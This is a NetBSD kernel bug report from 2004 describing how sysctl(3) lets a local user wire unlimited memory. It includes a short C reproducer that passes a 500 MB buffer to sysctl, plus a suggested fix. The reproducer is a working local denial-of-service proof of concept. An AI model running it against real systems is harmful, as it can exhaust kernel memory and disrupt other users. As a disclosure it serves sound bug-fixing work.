>Number:         25638
>Category:       kern
>Synopsis:       sysctl can wire down memory unreasonably
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    kern-bug-people
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Wed May 19 13:27:00 UTC 2004
>Closed-Date:
>Last-Modified:
>Originator:     YAMAMOTO Takashi <yamt@mwd.biglobe.ne.jp>
>Release:        NetBSD 2.0E
>Organization:

>Environment:
	
	
System: NetBSD kaeru 2.0E NetBSD 2.0E (build.kaeru) #1310: Wed May 19 21:29:48 JST 2004 takashi@kaeru:/usr/home/takashi/work/kernel/build.kaeru i386
Architecture: i386
Machine: i386
>Description:
	sysctl(3) allows a user to wire an unlimited amount of memory.
	pointed by Stephan Uphoff.

>How-To-Repeat:

#include <sys/param.h>
#include <sys/sysctl.h>

#include <stdlib.h>
#include <err.h>

int
main()
{
	int a[2];
	char *p;
	int sz = 500*1024*1024;

	p = malloc(sz);
	if (!p)
		err(1, "malloc");

	if (sysctl(a, 2, p, &sz, 0, 0))
		err(1, "sysctl");
}

>Fix:
	check if or not user-supplied buffer length is reasonable.
	for long term, it's better not to depend on wiring memory.

>Release-Note:
>Audit-Trail:
>Unformatted: